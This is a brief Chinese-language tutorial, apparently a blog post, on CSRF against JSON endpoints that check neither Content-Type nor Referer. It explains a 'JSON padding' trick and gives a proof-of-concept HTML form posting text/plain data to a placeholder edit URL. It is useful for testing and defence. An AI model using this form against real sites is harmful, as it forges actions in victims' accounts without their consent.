JSON CSRF(未验证Content-Type)

# Content-Type: application/json; charset=utf-8 (在后端没有校验referer的情况下,如果某个页面也未验证application/json格式的body,可直接生成html表单发起Csrrf请求)

《Json之Csrf漏洞之一》

很明显,这是个编辑某种信息的操作,POST的是一段JSON

生成CSRF POC 提交

《Json之Csrf漏洞之一》

此种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)

<html>  
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">  
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'>  
<input type=submit>  
</form>  
</html> 

构造如上 CSRF POC 可以闭合提交的post 数据形成一个完整的JSON的格式

案例:

某众测的Json数据类型的CSRF

《Json之Csrf漏洞之一》

已添加成功